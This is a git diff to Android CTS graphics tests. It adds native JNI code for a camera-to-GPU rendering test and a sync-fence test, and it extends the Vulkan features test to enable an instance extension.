@@ -14,7 +14,7 @@
limitations under the License.
-->
<configuration description="Config for CTS Graphics test cases">
- <option name="config-descriptor:metadata" key="component" value="graphics" />
+ <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsGraphicsTestCases.apk" />
diff --git a/tests/tests/graphics/jni/Android.mk b/tests/tests/graphics/jni/Android.mk
index 629ae64..b92fcd7 100644
--- a/tests/tests/graphics/jni/Android.mk
+++ b/tests/tests/graphics/jni/Android.mk
@@ -24,12 +24,15 @@
CtsGraphicsJniOnLoad.cpp \
android_graphics_cts_ANativeWindowTest.cpp \
android_graphics_cts_BitmapTest.cpp \
+ android_graphics_cts_SyncTest.cpp \
+ android_graphics_cts_CameraGpuCtsActivity.cpp \
android_graphics_cts_VulkanFeaturesTest.cpp
-LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -std=c++14 -Wall -Werror -DGL_GLEXT_PROTOTYPES -DEGL_EGLEXT_PROTOTYPES
LOCAL_STATIC_LIBRARIES := libvkjson_ndk
-LOCAL_SHARED_LIBRARIES := libandroid libvulkan libnativewindow liblog libdl libjnigraphics
+LOCAL_SHARED_LIBRARIES := libandroid libvulkan libnativewindow libsync liblog libdl libjnigraphics \
+ libcamera2ndk libmediandk libEGL libGLESv2
LOCAL_NDK_STL_VARIANT := c++_static
LOCAL_SDK_VERSION := current
diff --git a/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp b/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
index 4a40706..fe3bbc7 100644
--- a/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
+++ b/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
@@ -19,6 +19,7 @@
extern int register_android_graphics_cts_ANativeWindowTest(JNIEnv*);
extern int register_android_graphics_cts_BitmapTest(JNIEnv*);
+extern int register_android_graphics_cts_CameraGpuCtsActivity(JNIEnv*);
extern int register_android_graphics_cts_VulkanFeaturesTest(JNIEnv*);
jint JNI_OnLoad(JavaVM* vm, void* /*reserved*/) {
@@ -29,6 +30,8 @@
return JNI_ERR;
if (register_android_graphics_cts_BitmapTest(env))
return JNI_ERR;
+ if (register_android_graphics_cts_CameraGpuCtsActivity(env))
+ return JNI_ERR;
if (register_android_graphics_cts_VulkanFeaturesTest(env))
return JNI_ERR;
return JNI_VERSION_1_4;
diff --git a/tests/tests/graphics/jni/android_graphics_cts_CameraGpuCtsActivity.cpp b/tests/tests/graphics/jni/android_graphics_cts_CameraGpuCtsActivity.cpp
new file mode 100644
index 0000000..dc28ced
--- /dev/null
+++ b/tests/tests/graphics/jni/android_graphics_cts_CameraGpuCtsActivity.cpp
@@ -0,0 +1,666 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#define LOG_TAG "CameraGpuCtsActivity"
+
+#include <jni.h>
+#include <unistd.h>
+
+#include <deque>
+#include <memory>
+#include <mutex>
+#include <vector>
+
+#include <android/log.h>
+#include <android/native_window_jni.h>
+#include <camera/NdkCameraError.h>
+#include <camera/NdkCameraManager.h>
+#include <camera/NdkCameraDevice.h>
+#include <camera/NdkCameraCaptureSession.h>
+#include <EGL/egl.h>
+#include <EGL/eglext.h>
+#include <GLES/gl.h>
+#include <GLES/glext.h>
+#include <GLES2/gl2.h>
+#include <media/NdkImage.h>
+#include <media/NdkImageReader.h>
+
+//#define ALOGV(...) __android_log_print(ANDROID_LOG_VERBOSE, LOG_TAG, __VA_ARGS__)
+//#define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
+#define ALOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
+#define ALOGW(...) __android_log_print(ANDROID_LOG_WARN, LOG_TAG, __VA_ARGS__)
+#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
+
+namespace {
+
+static constexpr uint32_t kTestImageWidth = 640;
+static constexpr uint32_t kTestImageHeight = 480;
+static constexpr uint32_t kTestImageFormat = AIMAGE_FORMAT_PRIVATE;
+static constexpr uint64_t kTestImageUsage = AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE;
+static constexpr uint32_t kTestImageCount = 3;
+
+static const char kVertShader[] = R"(
+ attribute vec2 aPosition;
+ attribute vec2 aTextureCoords;
+ varying vec2 texCoords;
+
+ void main() {
+ texCoords = aTextureCoords;
+ gl_Position = vec4(aPosition, 0.0, 1.0);
+ }
+)";
+
+static const char kFragShader[] = R"(
+ #extension GL_OES_EGL_image_external : require
+
+ precision mediump float;
+ varying vec2 texCoords;
+ uniform samplerExternalOES sTexture;
+
+ void main() {
+ gl_FragColor = texture2D(sTexture, texCoords);
+ }
+)";
+
+// A 80%-full screen mesh.
+GLfloat kScreenTriangleStrip[] = {
+ // 1st vertex
+ -0.8f, -0.8f, 0.0f, 1.0f,
+ // 2nd vertex
+ -0.8f, 0.8f, 0.0f, 0.0f,
+ // 3rd vertex
+ 0.8f, -0.8f, 1.0f, 1.0f,
+ // 4th vertex
+ 0.8f, 0.8f, 1.0f, 0.0f,
+};
+
+static void checkGlError(const char* op) {
+ for (GLint error = glGetError(); error; error
+ = glGetError()) {
+ ALOGW("after %s() glError (0x%x)\n", op, error);
+ }
+}
+
+class CameraHelper {
+ public:
+ ~CameraHelper() { closeCamera(); }
+
+ int initCamera(ANativeWindow* imgReaderAnw) {
+ if (imgReaderAnw == nullptr) {
+ ALOGE("Cannot initialize camera before image reader get initialized.");
+ return -1;
+ }
+
+ mImgReaderAnw = imgReaderAnw;
+ mCameraManager = ACameraManager_create();
+ if (mCameraManager == nullptr) {
+ ALOGE("Failed to create ACameraManager.");
+ return -1;
+ }
+
+ int ret = ACameraManager_getCameraIdList(mCameraManager, &mCameraIdList);
+ if (ret != AMEDIA_OK) {
+ ALOGE("Failed to get cameraIdList: ret=%d", ret);
+ return ret;
+ }
+ if (mCameraIdList->numCameras < 1) {
+ ALOGW("Device has no NDK compatible camera.");
+ return 0;
+ }
+ ALOGI("Found %d camera(s).", mCameraIdList->numCameras);
+
+ // We always use the first camera.
+ mCameraId = mCameraIdList->cameraIds[0];
+ if (mCameraId == nullptr) {
+ ALOGE("Failed to get cameraId.");
+ return -1;
+ }
+
+ ret = ACameraManager_openCamera(mCameraManager, mCameraId, &mDeviceCb, &mDevice);
+ if (ret != AMEDIA_OK || mDevice == nullptr) {
+ ALOGE("Failed to open camera, ret=%d, mDevice=%p.", ret, mDevice);
+ return -1;
+ }
+
+ ret = ACameraManager_getCameraCharacteristics(mCameraManager, mCameraId, &mCameraMetadata);
+ if (ret != ACAMERA_OK || mCameraMetadata == nullptr) {
+ ALOGE("Get camera %s characteristics failure. ret %d, metadata %p", mCameraId, ret,
+ mCameraMetadata);
+ return -1;
+ }
+
+ if (!isCapabilitySupported(ACAMERA_REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE)) {
+ ALOGW("Camera does not support BACKWARD_COMPATIBLE.");
+ return 0;
+ }
+
+ // Create capture session
+ ret = ACaptureSessionOutputContainer_create(&mOutputs);
+ if (ret != AMEDIA_OK) {
+ ALOGE("ACaptureSessionOutputContainer_create failed, ret=%d", ret);
+ return ret;
+ }
+ ret = ACaptureSessionOutput_create(mImgReaderAnw, &mImgReaderOutput);
+ if (ret != AMEDIA_OK) {
+ ALOGE("ACaptureSessionOutput_create failed, ret=%d", ret);
+ return ret;
+ }
+ ret = ACaptureSessionOutputContainer_add(mOutputs, mImgReaderOutput);
+ if (ret != AMEDIA_OK) {
+ ALOGE("ACaptureSessionOutputContainer_add failed, ret=%d", ret);
+ return ret;
+ }
+ ret = ACameraDevice_createCaptureSession(mDevice, mOutputs, &mSessionCb, &mSession);
+ if (ret != AMEDIA_OK) {
+ ALOGE("ACameraDevice_createCaptureSession failed, ret=%d", ret);
+ return ret;
+ }
+
+ // Create capture request
+ ret = ACameraDevice_createCaptureRequest(mDevice, TEMPLATE_RECORD, &mCaptureRequest);
+ if (ret != AMEDIA_OK) {
+ ALOGE("ACameraDevice_createCaptureRequest failed, ret=%d", ret);
+ return ret;
+ }
+ ret = ACameraOutputTarget_create(mImgReaderAnw, &mReqImgReaderOutput);
+ if (ret != AMEDIA_OK) {
+ ALOGE("ACameraOutputTarget_create failed, ret=%d", ret);
+ return ret;
+ }
+ ret = ACaptureRequest_addTarget(mCaptureRequest, mReqImgReaderOutput);
+ if (ret != AMEDIA_OK) {
+ ALOGE("ACaptureRequest_addTarget failed, ret=%d", ret);
+ return ret;
+ }
+
+ mIsCameraReady = true;
+ return 0;
+ }
+
+ bool isCapabilitySupported(acamera_metadata_enum_android_request_available_capabilities_t cap) {
+ ACameraMetadata_const_entry entry;
+ ACameraMetadata_getConstEntry(mCameraMetadata, ACAMERA_REQUEST_AVAILABLE_CAPABILITIES,
+ &entry);
+ for (uint32_t i = 0; i < entry.count; i++) {
+ if (entry.data.u8[i] == cap) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ bool isCameraReady() { return mIsCameraReady; }
+
+ void closeCamera() {
+ // Destroy capture request
+ if (mReqImgReaderOutput) {
+ ACameraOutputTarget_free(mReqImgReaderOutput);
+ mReqImgReaderOutput = nullptr;
+ }
+ if (mCaptureRequest) {
+ ACaptureRequest_free(mCaptureRequest);
+ mCaptureRequest = nullptr;
+ }
+ // Destroy capture session
+ if (mSession != nullptr) {
+ ACameraCaptureSession_close(mSession);
+ mSession = nullptr;
+ }
+ if (mImgReaderOutput) {
+ ACaptureSessionOutput_free(mImgReaderOutput);
+ mImgReaderOutput = nullptr;
+ }
+ if (mOutputs) {
+ ACaptureSessionOutputContainer_free(mOutputs);
+ mOutputs = nullptr;
+ }
+ // Destroy camera device
+ if (mDevice) {
+ ACameraDevice_close(mDevice);
+ mDevice = nullptr;
+ }
+ if (mCameraMetadata) {
+ ACameraMetadata_free(mCameraMetadata);
+ mCameraMetadata = nullptr;
+ }
+ // Destroy camera manager
+ if (mCameraIdList) {
+ ACameraManager_deleteCameraIdList(mCameraIdList);
+ mCameraIdList = nullptr;
+ }
+ if (mCameraManager) {
+ ACameraManager_delete(mCameraManager);
+ mCameraManager = nullptr;
+ }
+ mIsCameraReady = false;
+ }
+
+ int takePicture() {
+ return ACameraCaptureSession_capture(mSession, nullptr, 1, &mCaptureRequest, nullptr);
+ }
+
+ static void onDeviceDisconnected(void* /*obj*/, ACameraDevice* /*device*/) {}
+
+ static void onDeviceError(void* /*obj*/, ACameraDevice* /*device*/, int /*errorCode*/) {}
+
+ static void onSessionClosed(void* /*obj*/, ACameraCaptureSession* /*session*/) {}
+
+ static void onSessionReady(void* /*obj*/, ACameraCaptureSession* /*session*/) {}
+
+ static void onSessionActive(void* /*obj*/, ACameraCaptureSession* /*session*/) {}
+
+ private:
+ ACameraDevice_StateCallbacks mDeviceCb{this, onDeviceDisconnected, onDeviceError};
+ ACameraCaptureSession_stateCallbacks mSessionCb{this, onSessionClosed, onSessionReady,
+ onSessionActive};
+
+ ANativeWindow* mImgReaderAnw{nullptr}; // not owned by us.
+
+ // Camera manager
+ ACameraManager* mCameraManager{nullptr};
+ ACameraIdList* mCameraIdList{nullptr};
+ // Camera device
+ ACameraMetadata* mCameraMetadata{nullptr};
+ ACameraDevice* mDevice{nullptr};
+ // Capture session
+ ACaptureSessionOutputContainer* mOutputs{nullptr};
+ ACaptureSessionOutput* mImgReaderOutput{nullptr};
+ ACameraCaptureSession* mSession{nullptr};
+ // Capture request
+ ACaptureRequest* mCaptureRequest{nullptr};
+ ACameraOutputTarget* mReqImgReaderOutput{nullptr};
+
+ bool mIsCameraReady{false};
+ const char* mCameraId{nullptr};
+};
+
+class ImageReaderHelper {
+ public:
+ using ImagePtr = std::unique_ptr<AImage, decltype(&AImage_delete)>;
+
+ ImageReaderHelper(int32_t width, int32_t height, int32_t format, uint64_t usage,
+ int32_t maxImages)
+ : mWidth(width), mHeight(height), mFormat(format), mUsage(usage), mMaxImages(maxImages) {}
+
+ ~ImageReaderHelper() {
+ mAcquiredImage.reset();
+ if (mImgReaderAnw) {
+ AImageReader_delete(mImgReader);
+ // No need to call ANativeWindow_release on imageReaderAnw
+ }
+ }
+
+ int initImageReader() {
+ if (mImgReader != nullptr || mImgReaderAnw != nullptr) {
+ ALOGE("Cannot re-initalize image reader, mImgReader=%p, mImgReaderAnw=%p", mImgReader,
+ mImgReaderAnw);
+ return -1;
+ }
+
+ int ret =
+ AImageReader_newWithUsage(mWidth, mHeight, mFormat, mUsage, mMaxImages, &mImgReader);
+ if (ret != AMEDIA_OK || mImgReader == nullptr) {
+ ALOGE("Failed to create new AImageReader, ret=%d, mImgReader=%p", ret, mImgReader);
+ return -1;
+ }
+
+ ret = AImageReader_setImageListener(mImgReader, &mReaderAvailableCb);
+ if (ret != AMEDIA_OK) {
+ ALOGE("Failed to set image available listener, ret=%d.", ret);
+ return ret;
+ }
+
+ ret = AImageReader_getWindow(mImgReader, &mImgReaderAnw);
+ if (ret != AMEDIA_OK || mImgReaderAnw == nullptr) {
+ ALOGE("Failed to get ANativeWindow from AImageReader, ret=%d, mImgReaderAnw=%p.", ret,
+ mImgReaderAnw);
+ return -1;
+ }
+
+ return 0;
+ }
+
+ ANativeWindow* getNativeWindow() { return mImgReaderAnw; }
+
+ int getBufferFromCurrentImage(AHardwareBuffer** outBuffer) {
+ std::lock_guard<std::mutex> lock(mMutex);
+
+ int ret = 0;
+ uint8_t* data;
+ int data_size;
+ if (mAvailableImages > 0) {
+ AImage* outImage = nullptr;
+
+ mAvailableImages -= 1;
+
+ ret = AImageReader_acquireNextImage(mImgReader, &outImage);
+ if (ret != AMEDIA_OK || outImage == nullptr) {
+ // When the BufferQueue is in async mode, it is still possible that
+ // AImageReader_acquireNextImage returns nothing after onFrameAvailable.
+ ALOGW("Failed to acquire image, ret=%d, outIamge=%p.", ret, outImage);
+ } else {
+ // Any exisitng in mAcquiredImage will be deleted and released automatically.
+ mAcquiredImage.reset(outImage);
+ }
+ // Expected getPlaneData to fail for AIMAGE_FORMAT_PRIV, if not then
+ // return error
+ ret = AImage_getPlaneData(outImage, 0, &data, &data_size);
+ if (ret != AMEDIA_IMGREADER_CANNOT_LOCK_IMAGE)
+ return -EINVAL;
+ }
+
+ if (mAcquiredImage == nullptr) {
+ return -EAGAIN;
+ }
+
+ // Note that AImage_getHardwareBuffer is not acquiring additional reference to the buffer,
+ // so we can return it here any times we want without worrying about releasing.
+ AHardwareBuffer* buffer = nullptr;
+ ret = AImage_getHardwareBuffer(mAcquiredImage.get(), &buffer);
+ if (ret != AMEDIA_OK || buffer == nullptr) {
+ ALOGE("Faild to get hardware buffer, ret=%d, outBuffer=%p.", ret, buffer);
+ return -ENOMEM;
+ }
+
+ *outBuffer = buffer;
+ return 0;
+ }
+
+ void handleImageAvailable() {
+ std::lock_guard<std::mutex> lock(mMutex);
+
+ mAvailableImages += 1;
+ }
+
+ static void onImageAvailable(void* obj, AImageReader*) {
+ ImageReaderHelper* thiz = reinterpret_cast<ImageReaderHelper*>(obj);
+ thiz->handleImageAvailable();
+ }
+
+ private:
+ int32_t mWidth;
+ int32_t mHeight;
+ int32_t mFormat;
+ uint64_t mUsage;
+ uint32_t mMaxImages;
+
+ std::mutex mMutex;
+ // Number of images that's avaiable for acquire.
+ size_t mAvailableImages{0};
+ // Although AImageReader supports acquiring multiple images at a time, we don't really need it
+ // in this test. We only acquire one image that a time.
+ ImagePtr mAcquiredImage{nullptr, AImage_delete};
+
+ AImageReader* mImgReader{nullptr};
+ ANativeWindow* mImgReaderAnw{nullptr};
+
+ AImageReader_ImageListener mReaderAvailableCb{this, onImageAvailable};
+};
+
+class CameraFrameRenderer {
+ public:
+ CameraFrameRenderer()
+ : mImageReader(kTestImageWidth, kTestImageHeight, kTestImageFormat, kTestImageUsage,
+ kTestImageCount) {}
+
+ ~CameraFrameRenderer() {
+ if (mProgram) {
+ glDeleteProgram(mProgram);
+ mProgram = 0;
+ }
+
+ if (mEglImage != EGL_NO_IMAGE_KHR) {
+ eglDestroyImageKHR(mEglDisplay, mEglImage);
+ mEglImage = EGL_NO_IMAGE_KHR;
+ }
+ }
+
+ bool isCameraReady() { return mCamera.isCameraReady(); }
+
+ // Retrun Zero on success, or negative error code.
+ int initRenderer() {
+ int ret = mImageReader.initImageReader();
+ if (ret < 0) {
+ ALOGE("Failed to initialize image reader: %d", ret);
+ return ret;
+ }
+
+ ret = mCamera.initCamera(mImageReader.getNativeWindow());
+ if (ret < 0) {
+ ALOGE("Failed to initialize camera: %d", ret);
+ return ret;
+ }
+
+ // This test should only test devices with at least one camera.
+ if (!mCamera.isCameraReady()) {
+ ALOGW(
+ "Camera is not ready after successful initialization. It's either due to camera on "
+ "board lacks BACKWARDS_COMPATIBLE capability or the device does not have camera on "
+ "board.");
+ return 0;
+ }
+
+ // Load shader and program.
+ mProgram = glCreateProgram();
+ GLuint vertShader = loadShader(GL_VERTEX_SHADER, kVertShader);
+ GLuint fragShader = loadShader(GL_FRAGMENT_SHADER, kFragShader);
+
+ if (vertShader == 0 || fragShader == 0) {
+ ALOGE("Failed to load shader");
+ return -EINVAL;
+ }
+
+ mProgram = glCreateProgram();
+ glAttachShader(mProgram, vertShader);
+ checkGlError("glAttachShader");
+ glAttachShader(mProgram, fragShader);
+ checkGlError("glAttachShader");
+
+ glLinkProgram(mProgram);
+ GLint success;
+ glGetProgramiv(mProgram, GL_LINK_STATUS, &success);
+ if (!success) {
+ GLchar infoLog[512];
+ glGetProgramInfoLog(mProgram, 512, nullptr, infoLog);
+ ALOGE("Shader failed to link: %s", infoLog);
+ return -EINVAL;
+ }
+
+ // Get attributes.
+ mPositionHandle = glGetAttribLocation(mProgram, "aPosition");
+ mTextureCoordsHandle = glGetAttribLocation(mProgram, "aTextureCoords");
+
+ // Get uniforms.
+ mTextureUniform = glGetUniformLocation(mProgram, "sTexture");
+ checkGlError("glGetUniformLocation");
+
+ // Generate texture.
+ glGenTextures(1, &mTextureId);
+ checkGlError("glGenTextures");
+ glBindTexture(GL_TEXTURE_EXTERNAL_OES, mTextureId);
+
+ // Cache the display
+ mEglDisplay = eglGetCurrentDisplay();
+
+ return 0;
+ }
+
+ // Return Zero on success, or negative error code.
+ int drawFrame() {
+ if (!mCamera.isCameraReady()) {
+ // We should never reach here. This test should just report success and quit early if
+ // no camera can be found during initialization.
+ ALOGE("No camera is ready for frame capture.");
+ return -EINVAL;
+ }
+
+ // Indicate the camera to take recording.
+ int ret = mCamera.takePicture();
+ if (ret < 0) {
+ ALOGE("Camera failed to take picture, error=%d", ret);
+ }
+
+ // Render the current buffer and then release it.
+ AHardwareBuffer* buffer;
+ ret = mImageReader.getBufferFromCurrentImage(&buffer);
+ if (ret != 0) {
+ // There might be no buffer acquired yet.
+ return ret;
+ }
+
+ AHardwareBuffer_Desc outDesc;
+ AHardwareBuffer_describe(buffer, &outDesc);
+
+ // Render with EGLImage.
+ EGLClientBuffer eglBuffer = eglGetNativeClientBufferANDROID(buffer);
+ if (!eglBuffer) {
+ ALOGE("Failed to create EGLClientBuffer");
+ return -EINVAL;
+ }
+
+ if (mEglImage != EGL_NO_IMAGE_KHR) {
+ eglDestroyImageKHR(mEglDisplay, mEglImage);
+ mEglImage = EGL_NO_IMAGE_KHR;
+ }
+
+ EGLint attrs[] = {
+ EGL_IMAGE_PRESERVED_KHR,
+ EGL_TRUE,
+ EGL_NONE,
+ };
+
+ mEglImage = eglCreateImageKHR(mEglDisplay, EGL_NO_CONTEXT, EGL_NATIVE_BUFFER_ANDROID,
+ eglBuffer, attrs);
+
+ if (mEglImage == EGL_NO_IMAGE_KHR) {
+ ALOGE("Failed to create EGLImage.");
+ return -EINVAL;
+ }
+
+ glClearColor(0.4f, 0.6f, 1.0f, 0.2f);
+ glClear(GL_COLOR_BUFFER_BIT);
+ checkGlError("glClearColor");
+
+ // Use shader
+ glUseProgram(mProgram);
+ checkGlError("glUseProgram");
+
+ // Map texture
+ glEGLImageTargetTexture2DOES(GL_TEXTURE_EXTERNAL_OES, mEglImage);
+
+ glActiveTexture(GL_TEXTURE0);
+ glBindTexture(GL_TEXTURE_EXTERNAL_OES, mTextureId);
+ glUniform1i(mTextureUniform, 0);
+ checkGlError("glUniform1i");
+
+ // Draw mesh
+ glVertexAttribPointer(mPositionHandle, 2, GL_FLOAT, GL_FALSE, 4 * sizeof(GLfloat),
+ kScreenTriangleStrip);
+ glEnableVertexAttribArray(mPositionHandle);
+ glVertexAttribPointer(mTextureCoordsHandle, 2, GL_FLOAT, GL_FALSE, 4 * sizeof(GLfloat),
+ kScreenTriangleStrip + 2);
+ glEnableVertexAttribArray(mTextureCoordsHandle);
+
+ glDrawArrays(GL_TRIANGLE_STRIP, 0, 4);
+ checkGlError("glDrawArrays");
+
+ return 0;
+ }
+
+ private:
+ static GLuint loadShader(GLenum shaderType, const char* source) {
+ GLuint shader = glCreateShader(shaderType);
+
+ glShaderSource(shader, 1, &source, nullptr);
+ glCompileShader(shader);
+
+ GLint success;
+ glGetShaderiv(shader, GL_COMPILE_STATUS, &success);
+ if (!success) {
+ ALOGE("Shader Failed to compile: %s", source);
+ shader = 0;
+ }
+ return shader;
+ }
+
+ ImageReaderHelper mImageReader;
+ CameraHelper mCamera;
+
+ // Shader
+ GLuint mProgram{0};
+
+ // Texture
+ EGLDisplay mEglDisplay{EGL_NO_DISPLAY};
+ EGLImageKHR mEglImage{EGL_NO_IMAGE_KHR};
+ GLuint mTextureId{0};
+ GLuint mTextureUniform{0};
+ GLuint mPositionHandle{0};
+ GLuint mTextureCoordsHandle{0};
+};
+
+inline jlong jptr(CameraFrameRenderer* native_video_player) {
+ return reinterpret_cast<intptr_t>(native_video_player);
+}
+
+inline CameraFrameRenderer* native(jlong ptr) {
+ return reinterpret_cast<CameraFrameRenderer*>(ptr);
+}
+
+jlong createRenderer(JNIEnv*, jclass) {
+ auto renderer = std::unique_ptr<CameraFrameRenderer>(new CameraFrameRenderer);
+ int ret = renderer->initRenderer();
+ if (ret < 0) {
+ ALOGE("Failed to init renderer: %d", ret);
+ return jptr(nullptr);
+ }
+
+ return jptr(renderer.release());
+}
+
+bool isCameraReady(JNIEnv*, jclass, jlong renderer) {
+ if (renderer == 0) {
+ ALOGE("Invalid renderer.");
+ return -EINVAL;
+ }
+
+ return native(renderer)->isCameraReady();
+}
+
+void destroyRenderer(JNIEnv*, jclass, jlong renderer) { delete native(renderer); }
+
+jint drawFrame(JNIEnv*, jclass, jlong renderer) {
+ if (renderer == 0) {
+ ALOGE("Invalid renderer.");
+ return -EINVAL;
+ }
+
+ return native(renderer)->drawFrame();
+}
+
+const std::vector<JNINativeMethod> gMethods = {{
+ {"nCreateRenderer", "()J", (void*)createRenderer},
+ {"nIsCameraReady", "(J)Z", (void*)isCameraReady},
+ {"nDestroyRenderer", "(J)V", (void*)destroyRenderer},
+ {"nDrawFrame", "(J)I", (void*)drawFrame},
+}};
+
+} // namespace
+
+int register_android_graphics_cts_CameraGpuCtsActivity(JNIEnv* env) {
+ jclass clazz = env->FindClass("android/graphics/cts/CameraGpuCtsActivity");
+ return env->RegisterNatives(clazz, gMethods.data(), gMethods.size());
+}
diff --git a/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp
new file mode 100644
index 0000000..aeea02c
--- /dev/null
+++ b/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp
@@ -0,0 +1,105 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#define LOG_TAG "SyncTest"
+
+#include <poll.h>
+#include <unistd.h>
+
+#include <array>
+#include <memory>
+
+#include <jni.h>
+
+#include <android/sync.h>
+
+namespace {
+
+enum {
+ STATUS_ERROR = -1,
+ STATUS_UNSIGNALED = 0,
+ STATUS_SIGNALED = 1,
+};
+
+jboolean syncPoll(JNIEnv* env, jclass /*clazz*/, jintArray fds_array, jintArray status_array) {
+ jsize n = env->GetArrayLength(fds_array);
+ if (env->GetArrayLength(status_array) != n)
+ return JNI_FALSE;
+ std::unique_ptr<pollfd[]> pollfds = std::make_unique<pollfd[]>(n);
+
+ jint* fds = static_cast<jint*>(env->GetPrimitiveArrayCritical(fds_array, nullptr));
+ for (jsize i = 0; i < n; i++) {
+ pollfds[i].fd = fds[i];
+ pollfds[i].events = POLLIN;
+ }
+ env->ReleasePrimitiveArrayCritical(fds_array, fds, 0);
+
+ int ret;
+ do {
+ ret = poll(pollfds.get(), n, -1 /* infinite timeout */);
+ } while (ret == -1 && errno == EINTR);
+ if (ret == -1)
+ return JNI_FALSE;
+
+ jint* status = static_cast<jint*>(env->GetPrimitiveArrayCritical(status_array, nullptr));
+ for (jsize i = 0; i < n; i++) {
+ if (pollfds[i].fd < 0)
+ continue;
+ if ((pollfds[i].revents & (POLLERR | POLLNVAL)) != 0)
+ status[i] = STATUS_ERROR;
+ else if ((pollfds[i].revents & POLLIN) != 0)
+ status[i] = STATUS_SIGNALED;
+ else
+ status[i] = STATUS_UNSIGNALED;
+ }
+ env->ReleasePrimitiveArrayCritical(status_array, status, 0);
+
+ return JNI_TRUE;
+}
+
+jint syncMerge(JNIEnv* env, jclass /*clazz*/, jstring nameStr, jint fd1, jint fd2) {
+ const char* name = env->GetStringUTFChars(nameStr, nullptr);
+ int32_t result_fd = sync_merge(name, fd1, fd2);
+ env->ReleaseStringUTFChars(nameStr, name);
+ return result_fd;
+}
+
+jobject syncFileInfo(JNIEnv* /*env*/, jclass /*clazz*/, jint fd) {
+ auto info = sync_file_info(fd);
+ if (!info) return nullptr;
+ // TODO: convert to SyncFileInfo
+ sync_file_info_free(info);
+ return nullptr;
+}
+
+void syncClose(int fd) {
+ close(fd);
+}
+
+const std::array<JNINativeMethod, 4> JNI_METHODS = {{
+ { "nSyncPoll", "([I[I)Z", (void*)syncPoll },
+ { "nSyncMerge", "(Ljava/lang/String;II)I", (void*)syncMerge },
+ { "nSyncFileInfo", "(I)Landroid/graphics/cts/SyncTest/SyncFileInfo;", (void*)syncFileInfo },
+ { "nSyncClose", "(I)V", (void*)syncClose },
+}};
+
+}
+
+int register_android_graphics_cts_SyncTest(JNIEnv* env) {
+ jclass clazz = env->FindClass("android/graphics/cts/SyncTest");
+ return env->RegisterNatives(clazz, JNI_METHODS.data(), JNI_METHODS.size());
+}
diff --git a/tests/tests/graphics/jni/android_graphics_cts_VulkanFeaturesTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_VulkanFeaturesTest.cpp
index 17f4e60..7018a34 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_VulkanFeaturesTest.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_VulkanFeaturesTest.cpp
@@ -21,12 +21,6 @@
#include <jni.h>
#include <vkjson.h>
-// TODO(jessehall): Remove this once we update the NDK vulkan.h to a newer
-// version that defines this.
-#ifndef VK_API_VERSION_1_0
-#define VK_API_VERSION_1_0 VK_MAKE_VERSION(1, 0, 0)
-#endif
-
#define ALOGI(msg, ...) \
__android_log_print(ANDROID_LOG_INFO, LOG_TAG, (msg), __VA_ARGS__)
#define ALOGE(msg, ...) \
@@ -34,9 +28,43 @@
namespace {
+const char* kDesiredInstanceExtensions[] = {
+ "VK_KHR_get_physical_device_properties2",
+};
+
VkResult getVkJSON(std::string& vkjson) {
VkResult result;
+ uint32_t available_extensions_count = 0;
+ std::vector<VkExtensionProperties> available_extensions;
+ result = vkEnumerateInstanceExtensionProperties(nullptr /* layerName */,
+ &available_extensions_count, nullptr);
+ if (result != VK_SUCCESS) {
+ ALOGE("vkEnumerateInstanceExtensionProperties failed: %d", result);
+ return result;
+ }
+ do {
+ available_extensions.resize(available_extensions_count);
+ result = vkEnumerateInstanceExtensionProperties(nullptr /* layerName */,
+ &available_extensions_count, available_extensions.data());
+ if (result < 0) {
+ ALOGE("vkEnumerateInstanceExtensionProperties failed: %d", result);
+ return result;
+ }
+ } while (result == VK_INCOMPLETE);
+ available_extensions.resize(available_extensions_count);
+
+ std::vector<const char*> enable_extensions;
+ for (auto name : kDesiredInstanceExtensions) {
+ if (std::find_if(available_extensions.cbegin(), available_extensions.cend(),
+ [name](const VkExtensionProperties& properties) {
+ return strcmp(name, properties.extensionName) == 0;
+ })
+ != available_extensions.cend()) {
+ enable_extensions.push_back(name);
+ }
+ }
+
const VkApplicationInfo app_info = {
VK_STRUCTURE_TYPE_APPLICATION_INFO, nullptr,
"VulkanFeaturesTest", 0, /* app name, version */
@@ -48,7 +76,8 @@
0, /* flags */
&app_info,
0, nullptr, /* layers */
- 0, nullptr, /* extensions */
+ static_cast<uint32_t>(enable_extensions.size()),
+ enable_extensions.data(),
};
VkInstance instance;
